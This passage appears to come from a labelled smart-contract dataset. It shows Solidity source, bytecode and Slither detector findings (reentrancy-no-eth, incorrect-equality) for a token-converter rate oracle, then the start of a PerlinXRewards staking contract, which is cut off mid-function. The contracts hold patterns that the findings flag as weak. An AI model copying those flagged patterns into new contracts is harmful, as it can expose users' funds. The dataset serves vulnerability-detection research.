Cosigner { uint256 public constant VERSION = 2; /** @return the url of the endpoint that exposes the insurance offers. */ function url() public view returns (string); /** @dev Retrieves the cost of a given insurance, this amount should be exact. @return the cost of the cosign, in RCN wei */ function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256); /** @dev The engine calls this method for confirmation of the conditions, if the cosigner accepts the liability of the insurance it must call the method "cosign" of the engine. If the cosigner does not call that method, or does not return true to this method, the operation fails. @return true if the cosigner accepts the liability */ function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool); /** @dev Claims the benefit of the insurance if the loan is defaulted, this method should be only calleable by the current lender of the loan. @return true if the claim was done correctly. */ function claim(address engine, uint256 index, bytes oracleData) public returns (bool); } contract TokenConverter { address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount); function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount); } contract TokenConverterOracle2 is Oracle { address public delegate; address public ogToken; mapping(bytes32 => Currency) public sources; mapping(bytes32 => Cache) public cache; event DelegatedCall(address _requester, address _to); event CacheHit(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals); event DeliveredRate(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals); event SetSource(bytes32 _currency, address _converter, address _token, uint128 _sample, bool _cached); event SetDelegate(address _prev, address _new); event SetOgToken(address _prev, address _new); struct Cache { uint64 decimals; uint64 blockNumber; uint128 rate; } struct Currency { bool cached; uint8 decimals; address converter; address token; } function setDelegate( address _delegate ) external onlyOwner { emit SetDelegate(delegate, _delegate); delegate = _delegate; } function setOgToken( address _ogToken ) external onlyOwner { emit SetOgToken(ogToken, _ogToken); ogToken = _ogToken; } function setCurrency( string code, address converter, address token, uint8 decimals, bool cached ) external onlyOwner returns (bool) { // Set supported currency bytes32 currency = encodeCurrency(code); if (!supported[currency]) { emit NewSymbol(currency); supported[currency] = true; currencies.push(currency); } // Save converter info sources[currency] = Currency({ cached: cached, converter: converter, token: token, decimals: decimals }); emit SetSource(currency, converter, token, decimals, cached); return true; } function url() public view returns (string) { return ""; } function getRate( bytes32 _symbol, bytes _data ) external returns (uint256 rate, uint256 decimals) { if (delegate != address(0)) { emit DelegatedCall(msg.sender, delegate); return Oracle(delegate).getRate(_symbol, _data); } Currency memory currency = sources[_symbol]; if (currency.cached) { Cache memory _cache = cache[_symbol]; if (_cache.blockNumber == block.number) { emit CacheHit(msg.sender, _symbol, _cache.rate, _cache.decimals); return (_cache.rate, _cache.decimals); } } require(currency.converter != address(0), "Currency not supported"); decimals = currency.decimals; rate = TokenConverter(currency.converter).getReturn(Token(currency.token), Token(ogToken), 10 ** decimals); emit DeliveredRate(msg.sender, _symbol, rate, decimals); // If cached and rate < 2 ** 128 if (currency.cached && rate < 340282366920938463463374607431768211456) { cache[_symbol] = Cache({ decimals: currency.decimals, blockNumber: uint64(block.number), rate: uint128(rate) }); } } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631b962c65146100f65780633ae26afa146101a0578063433288a2146102045780635600f04f146102b05780635ee759e8146103405780635f1d78ae146103c55780637193f2f0146104815780638da5cb5b146104ca57806399eb59b914610521578063a03fa7e3146105c0578063a1d0a48f1461061b578063a8e5740c1461069c578063b69b2a65146106df578063c89e436114610736578063ca5eb5e11461078d578063f6d1c271146107d0578063ffa1ad7414610819575b600080fd5b34801561010257600080fd5b506101256004803603810190808035600019169060200190929190505050610844565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016557808201518184015260208101905061014a565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101e760048036038101908080356000191690602001909291908035906020019082018035906020019190919293919293905050506108b8565b604051808381526020018281526020019250505060405180910390f35b34801561021057600080fd5b50610296600480360381019080803590602001908201803590602001919091929391929390803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190803515159060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5611569565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103055780820151818401526020810190506102ea565b50505050905090810190601f1680156103325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034c57600080fd5b506103a7600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611581565b60405180826000191660001916815260200191505060405180910390f35b3480156103d157600080fd5b506103f46004803603810190808035600019169060200190929190505050611609565b60405180851515151581526020018460ff1660ff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b34801561048d57600080fd5b506104b06004803603810190808035600019169060200190929190505050611693565b604051808215151515815260200191505060405180910390f35b3480156104d657600080fd5b506104df6116b3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052d57600080fd5b5061055060048036038101908080356000191690602001909291905050506116d8565b604051808467ffffffffffffffff1667ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001935050505060405180910390f35b3480156105cc57600080fd5b50610601600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611746565b604051808215151515815260200191505060405180910390f35b34801561062757600080fd5b50610682600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506118fa565b604051808215151515815260200191505060405180910390f35b3480156106a857600080fd5b506106dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a7a565b005b3480156106eb57600080fd5b506106f4611c3b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561074257600080fd5b5061074b611c61565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079957600080fd5b506107ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c87565b005b3480156107dc57600080fd5b506107fb60048036038101908080359060200190929190505050611e48565b60405180826000191660001916815260200191505060405180910390f35b34801561082557600080fd5b5061082e611e6b565b6040518082815260200191505060405180910390f35b6060600061010090505b60011561088e576000811480610879575060006001026008820384600019169060020a026000191614155b156108835761088e565b60088103905061084e565b6008810490506040519150601f19601f602083010116820160405280825282602083015250919050565b6000806108c3611e70565b6108cb611eca565b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610ae4577ff29cc5876e5539d38822e5dd3eaf0a899f3c3f92bc13f931f00f30f66675b79833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ae26afa8888886040518463ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180846000191660001916815260200180602001828103825284848281815260200192508082843782019150509450505050506040805180830381600087803b158015610a9657600080fd5b505af1158015610aaa573d6000803e3d6000fd5b505050506040513d6040811015610ac057600080fd5b81019080805190602001909291908051906020019092919050505093509350611168565b600560008860001916600019168152602001908152602001600020608060405190810160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509150816000015115610dc557600660008860001916600019168152602001908152602001600020606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681525050905043816020015167ffffffffffffffff161415610dc4577f3af8cd2c0a0751a196a5d73e51ba51a3da213d4f8619545c242faf43f03461cd338883604001518460000151604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018460001916600019168152602001836fffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff16815260200194505050505060405180910390a180604001518160000151816fffffffffffffffffffffffffffffffff1691508067ffffffffffffffff16905093509350611168565b5b600073ffffffffffffffffffffffffffffffffffffffff16826040015173ffffffffffffffffffffffffffffffffffffffff1614151515610e6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f43757272656e6379206e6f7420737570706f727465640000000000000000000081525060200191505060405180910390fd5b816020015160ff169250816040015173ffffffffffffffffffffffffffffffffffffffff16631e1401f88360600151600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686600a0a6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610f7c57600080fd5b505af1158015610f90573d6000803e3d6000fd5b505050506040513d6020811015610fa657600080fd5b810190808051906020019092919050505093507f8807cfb57f39cd17d0bc17f113c4d3a9f8875cf3446f2603318160678bbdf2c333888686604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001846000191660001916815260200183815260200182815260200194505050505060405180910390a18160000151801561105d575070010000000000000000000000000000000084105b1561116757606060405190810160405280836020015160ff1667ffffffffffffffff1681526020014367ffffffffffffffff168152602001856fffffffffffffffffffffffffffffffff1681525060066000896000191660001916815260200190815260200160002060008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055509050505b5b5050935093915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f6d73672e73656e646572206973206e6f7420746865206f776e6572000000000081525060200191505060405180910390fd5b61127488888080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050611581565b905060016000826000191660001916815260200190815260200160002060009054906101000a900460ff16151561134a577fde8f94bbcb736cb3ffdbd45b3429e721dddb2889215c90bd0816ac212847317b8160405180826000191660001916815260200191505060405180910390a16001806000836000191660001916815260200190815260200160002060006101000a81548160ff02191690831515021790555060028190806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055505b60806040519081016040528084151581526020018560ff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1681525060056000836000191660001916815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050507f5502e3b8a664bcd28a4f440e2e3d10929fee6394c4a00a96d8cbfa1f0f71ae1f81878787876040518086600019166000191681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360ff166fffffffffffffffffffffffffffffffff168152602001821515151581526020019550505050505060405180910390a160019150509695505050505050565b60606020604051908101604052806000815250905090565b600060208251111515156115fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43757272656e637920746f6f206c6f6e6700000000000000000000000000000081525060200191505060405180910390fd5b60208201519050919050565b60056020528060005260406000206000915090508060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905084565b60016020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915090508060000160009054906101000a900467ffffffffffffffff16908060000160089054906101000a900467ffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16905083565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f6d73672e73656e646572206973206e6f7420746865206f776e6572000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156118b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f43616e2774207472616e7366657220746f20616464726573732030783000000081525060200191505060405180910390fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f6d73672e73656e646572206973206e6f7420746865206f776e6572000000000081525060200191505060405180910390fd5b6119ca83611581565b90507fde8f94bbcb736cb3ffdbd45b3429e721dddb2889215c90bd0816ac212847317b8160405180826000191660001916815260200191505060405180910390a16001806000836000191660001916815260200190815260200160002060006101000a81548160ff02191690831515021790555060028190806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055506001915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f6d73672e73656e646572206973206e6f7420746865206f776e6572000000000081525060200191505060405180910390fd5b7f0749c9d285c15abfed201b7c213450ee2946fe31a9bafa232ba91062f115c368600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a180600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f6d73672e73656e646572206973206e6f7420746865206f776e6572000000000081525060200191505060405180910390fd5b7fbeebfeebc9d1af8057ca45af36b2171fea34cb5b251e394f0bc5fcabde119d7f600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a180600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600281815481101515611e5757fe5b906000526020600020016000915090505481565b600481565b608060405190810160405280600015158152602001600060ff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b606060405190810160405280600067ffffffffffffffff168152602001600067ffffffffffffffff16815260200160006fffffffffffffffffffffffffffffffff16815250905600a165627a7a72305820a5599e0e40082698e07a4884f6f347cc6767cfa45bfcc4cf6b2109cab32ba6010029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,694
0x5fa19f612dfd39e6754bb2e8300e681d1c589dd4
/** *Submitted for verification at Etherscan.io on 2020-08-20 */ //SPDX-License-Identifier: Unlicense pragma solidity 0.6.8; // ERC20 Interface interface ERC20 { function transfer(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); function balanceOf(address account) external view returns (uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract PerlinXRewards { using SafeMath for uint256; uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; address public PERL; address public treasury; address[] public arrayAdmins; address[] public arrayPerlinPools; address[] public arraySynths; address[] public arrayMembers; uint256 public currentEra; mapping(address => bool) public isAdmin; // Tracks admin status mapping(address => bool) public poolIsListed; // Tracks current listing status mapping(address => bool) public poolHasMembers; // Tracks current staking status mapping(address => bool) public poolWasListed; // Tracks if pool was ever listed mapping(address => uint256) public mapAsset_Rewards; // Maps rewards for each asset (PERL, BAL, UNI etc) mapping(address => uint256) public poolWeight; // Allows a reward weight to be applied; 100 = 1.0 mapping(uint256 => uint256) public mapEra_Total; // Total PERL staked in each era mapping(uint256 => bool) public eraIsOpen; // Era is open of collecting rewards mapping(uint256 => mapping(address => uint256)) public mapEraAsset_Reward; // Reward allocated for era mapping(uint256 => mapping(address => uint256)) public mapEraPool_Balance; // Perls in each pool, per era mapping(uint256 => mapping(address => uint256)) public mapEraPool_Share; // Share of reward for each pool, per era mapping(uint256 => mapping(address => uint256)) public mapEraPool_Claims; // Total LP tokens locked for each pool, per era mapping(address => address) public mapPool_Asset; // Uniswap pools provide liquidity to non-PERL asset mapping(address => address) public mapSynth_EMP; // Synthetic Assets have a management contract mapping(address => bool) public isMember; // Is Member mapping(address => uint256) public mapMember_poolCount; // Total number of Pools member is in mapping(address => address[]) public mapMember_arrayPools; // Array of pools for member mapping(address => mapping(address => uint256)) public mapMemberPool_Balance; // Member's balance in pool mapping(address => mapping(address => bool)) public mapMemberPool_Added; // Member's balance in pool mapping(address => mapping(uint256 => bool)) public mapMemberEra_hasRegistered; // Member has registered mapping(address => mapping(uint256 => mapping(address => uint256))) public mapMemberEraPool_Claim; // Value of claim per pool, per era mapping(address => mapping(uint256 => mapping(address => bool))) public mapMemberEraAsset_hasClaimed; // Boolean claimed // Events event Snapshot( address indexed admin, uint256 indexed era, uint256 rewardForEra, uint256 perlTotal, uint256 validPoolCount, uint256 validMemberCount, uint256 date ); event NewPool( address indexed admin, address indexed pool, address indexed asset, uint256 assetWeight ); event NewSynth( address indexed pool, address indexed synth, address indexed expiringMultiParty ); event MemberLocks( address indexed member, address indexed pool, uint256 amount, uint256 indexed currentEra ); event MemberUnlocks( address indexed member, address indexed pool, uint256 balance, uint256 indexed currentEra ); event MemberRegisters( address indexed member, address indexed pool, uint256 amount, uint256 indexed currentEra ); event MemberClaims(address indexed member, uint256 indexed era, uint256 totalClaim); // Only Admin can execute modifier onlyAdmin() { require(isAdmin[msg.sender], "Must be Admin"); _; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } constructor() public { arrayAdmins.push(msg.sender); isAdmin[msg.sender] = true; PERL = 0xeca82185adCE47f39c684352B0439f030f860318; treasury = 0x3F2a2c502E575f2fd4053c76f4E21623143518d8; currentEra = 1; _status = _NOT_ENTERED; } //==============================ADMIN================================// // Lists a synth and its parent EMP address function listSynth( address pool, address synth, address emp, uint256 weight ) public onlyAdmin { require(emp != address(0), "Must pass address validation"); if (!poolWasListed[pool]) { arraySynths.push(synth); // Add new synth } listPool(pool, synth, weight); // List like normal pool mapSynth_EMP[synth] = emp; // Maps the EMP contract for look-up emit NewSynth(pool, synth, emp); } // Lists a pool and its non-PERL asset (can work for Balance or Uniswap V2) // Use "100" to be a normal weight of "1.0" function listPool( address pool, address asset, uint256 weight ) public onlyAdmin { require( (asset != PERL) && (asset != address(0)) && (pool != address(0)), "Must pass address validation" ); require( weight >= 10 && weight <= 1000, "Must be greater than 0.1, less than 10" ); if (!poolWasListed[pool]) { arrayPerlinPools.push(pool); } poolIsListed[pool] = true; // Tracking listing poolWasListed[pool] = true; // Track if ever was listed poolWeight[pool] = weight; // Note: weight of 120 = 1.2 mapPool_Asset[pool] = asset; // Map the pool to its non-perl asset emit NewPool(msg.sender, pool, asset, weight); } function delistPool(address pool) public onlyAdmin { poolIsListed[pool] = false; } // Quorum Action 1 function addAdmin(address newAdmin) public onlyAdmin { require( (isAdmin[newAdmin] == false) && (newAdmin != address(0)), "Must pass address validation" ); arrayAdmins.push(newAdmin); isAdmin[newAdmin] = true; } function transferAdmin(address newAdmin) public onlyAdmin { require( (isAdmin[newAdmin] == false) && (newAdmin != address(0)), "Must pass address validation" ); arrayAdmins.push(newAdmin); isAdmin[msg.sender] = false; isAdmin[newAdmin] = true; } // Snapshot a new Era, allocating any new rewards found on the address, increment Era // Admin should send reward funds first function snapshot(address rewardAsset) public onlyAdmin { snapshotInEra(rewardAsset, currentEra); // Snapshots PERL balances currentEra = currentEra.add(1); // Increment the eraCount, so users can't register in a previous era. } // Snapshot a particular rewwardAsset, but don't increment Era (like Balancer Rewards) // Do this after snapshotPools() function snapshotInEra(address rewardAsset, uint256 era) public onlyAdmin { uint256 start = 0; uint256 end = poolCount(); snapshotInEraWithOffset(rewardAsset, era, start, end); } // Snapshot with offset (in case runs out of gas) function snapshotWithOffset( address rewardAsset, uint256 start, uint256 end ) public onlyAdmin { snapshotInEraWithOffset(rewardAsset, currentEra, start, end); // Snapshots PERL balances currentEra = currentEra.add(1); // Increment the eraCount, so users can't register in a previous era. } // Snapshot a particular rewwardAsset, with offset function snapshotInEraWithOffset( address rewardAsset, uint256 era, uint256 start, uint256 end ) public onlyAdmin { require(rewardAsset != address(0), "Address must not be 0x0"); require( (era >= currentEra - 1) && (era <= currentEra), "Must be current or previous era only" ); uint256 amount = ERC20(rewardAsset).balanceOf(address(this)).sub( mapAsset_Rewards[rewardAsset] ); require(amount > 0, "Amount must be non-zero"); mapAsset_Rewards[rewardAsset] = mapAsset_Rewards[rewardAsset].add( amount ); mapEraAsset_Reward[era][rewardAsset] = mapEraAsset_Reward[era][rewardAsset] .add(amount); eraIsOpen[era] = true; updateRewards(era, amount, start, end); // Snapshots PERL balances } // Note, due to EVM gas limits, poolCount should be less than 100 to do this before running out of gas function updateRewards( uint256 era, uint256 rewardForEra, uint256 start, uint256 end ) internal { // First snapshot balances of each pool uint256 perlTotal; uint256 validPoolCount; uint256 validMemberCount; for (uint256 i = start; i < end; i++) { address pool = arrayPerlinPools[i]; if (poolIsListed[pool] && poolHasMembers[pool]) { validPoolCount = validPoolCount.add(1); uint256 weight = poolWeight[pool]; uint256 weightedBalance = ( ERC20(PERL).balanceOf(pool).mul(weight)).div(100); // (depth * weight) / 100 perlTotal = perlTotal.add(weightedBalance); mapEraPool_Balance[era][pool] = weightedBalance; } } mapEra_Total[era] = perlTotal; // Then snapshot share of the reward for the era for (uint256 i = start; i < end; i++) { address pool = arrayPerlinPools[i]; if (poolIsListed[pool] && poolHasMembers[pool]) { validMemberCount = validMemberCount.add(1); uint256 part = mapEraPool_Balance[era][pool]; mapEraPool_Share[era][pool] = getShare( part, perlTotal, rewardForEra ); } } emit Snapshot( msg.sender, era, rewardForEra, perlTotal, validPoolCount, validMemberCount, now ); } // Quorum Action // Remove unclaimed rewards and disable era for claiming function removeReward(uint256 era, address rewardAsset) public onlyAdmin { uint256 amount = mapEraAsset_Reward[era][rewardAsset]; mapEraAsset_Reward[era][rewardAsset] = 0; mapAsset_Rewards[rewardAsset] = mapAsset_Rewards[rewardAsset].sub( amount ); eraIsOpen[era] = false; require( ERC20(rewardAsset).transfer(treasury, amount), "Must transfer" ); } // Quorum Action - Reuses adminApproveEraAsset() logic since unlikely to collide // Use in anger to sweep off assets (such as accidental airdropped tokens) function sweep(address asset, uint256 amount) public onlyAdmin { require( ERC20(asset).transfer(treasury, amount), "Must transfer" ); } //============================== USER - LOCK/UNLOCK ================================// // Member locks some LP tokens function lock(address pool, uint256 amount) public nonReentrant { require(poolIsListed[pool] == true, "Must be listed"); if (!isMember[msg.sender]) { // Add new member arrayMembers.push(msg.sender); isMember[msg.sender] = true; } if (!poolHasMembers[pool]) { // Records existence of member poolHasMembers[pool] = true; } if (!mapMemberPool_Added[msg.sender][pool]) { // Record all the pools member is in mapMember_poolCount[msg.sender] = mapMember_poolCount[msg.sender] .add(1); mapMember_arrayPools[msg.sender].push(pool); mapMemberPool_Added[msg.sender][pool] = true; } require( ERC20(pool).transferFrom(msg.sender, address(this), amount), "Must transfer" ); // Uni/Bal LP tokens return bool mapMemberPool_Balance[msg.sender][pool] = mapMemberPool_Balance[msg.sender][pool] .add(amount); // Record total pool balance for member registerClaim(msg.sender, pool, amount); // Register claim emit MemberLocks(msg.sender, pool, amount, currentEra); } // Member unlocks all from a pool function unlock(address pool) public nonReentrant { uint256 balance = mapMemberPool_Balance[msg.sender][pool]; require(balance > 0, "Must have a balance to claim"); mapMemberPool_Balance[msg.sender][pool] = 0; // Zero out balance require(ERC20(pool).transfer(msg.sender, balance), "Must transfer"); // Then transfer if (ERC20(pool).balanceOf(address(this)) == 0) { poolHasMembers[pool] = false; // If nobody is staking any more } emit MemberUnlocks(msg.sender, pool, balance, currentEra); } //============================== USER - CLAIM================================// // Member registers claim in a single pool function registerClaim( address member, address pool, uint256 amount ) internal { mapMemberEraPool_Claim[member][currentEra][pool] += amount; mapEraPool_Claims[currentEra][pool] = mapEraPool_Claims[currentEra][pool] .add(amount); emit MemberRegisters(member, pool, amount, currentEra); } // Member registers claim in all pools function registerAllClaims(address member) public { require( mapMemberEra_hasRegistered[msg.sender][currentEra] == false, "Must not have registered in this era already" ); for (uint256 i = 0; i < mapMember_poolCount[member]; i++) { address pool = mapMember_arrayPools[member][i]; // first deduct any previous claim mapEraPool_Claims[currentEra][pool] = mapEraPool_Claims[currentEra][pool] .sub(mapMemberEraPool_Claim[member][currentEra][pool]); uint256 amount = mapMemberPool_Balance[member][pool]; // then get latest balance mapMemberEraPool_Claim[member][currentEra][pool] = amount; // then update the claim mapEraPool_Claims[currentEra][pool] = mapEraPool_Claims[currentEra][pool] .add(amount); // then add to total emit MemberRegisters(member, pool, amount, currentEra); } mapMemberEra_hasRegistered[msg.sender][currentEra] = true; } // Member claims in a era function claim(uint256 era, address rewardAsset) public nonReentrant { require( mapMemberEraAsset_hasClaimed[msg.sender][era][rewardAsset] == false, "Reward asset must not have been claimed" ); require(eraIsOpen[era], "Era must be opened"); uint256 totalClaim = checkClaim(msg.sender, era); if (totalClaim > 0) { mapMemberEraAsset_hasClaimed[msg.sender][era][rewardAsset] = true; // Register claim mapEraAsset_Reward[era][rewardAsset] = mapEraAsset_Reward[era][rewardAsset] .sub(totalClaim); // Decrease rewards for that era mapAsset_Rewards[rewardAsset] = mapAsset_Rewards[rewardAsset].sub( totalClaim ); // Decrease rewards in total require( ERC20(rewardAsset).transfer(msg.sender, totalClaim), "Must transfer" ); // Then transfer } emit MemberClaims(msg.sender, era, totalClaim); if (mapMemberEra_hasRegistered[msg.sender][currentEra] == false) { registerAllClaims(msg.sender); // Register another claim } } // Member checks claims in all pools function checkClaim(address member, uint256 era) public view returns (uint256 totalClaim) { for (uint256 i = 0; i < mapMember_poolCount[member]; i++) { address pool = mapMember_arrayPools[member][i]; totalClaim += checkClaimInPool(member, era, pool); } return totalClaim; } // Member checks claim in a single pool function checkClaimInPool( address member, uint256 era, address pool ) public view returns (uint256 claimShare) { uint256 poolShare = mapEraPool_Share[era][pool]; // Requires admin snapshotting for era first, else 0 uint256 memberClaimInEra = mapMemberEraPool_Claim[member][era][pool]; // Requires member registering claim in the era uint256 totalClaimsInEra = mapEraPool_Claims[era][pool]; // Sum of all claims in a era if (totalClaimsInEra 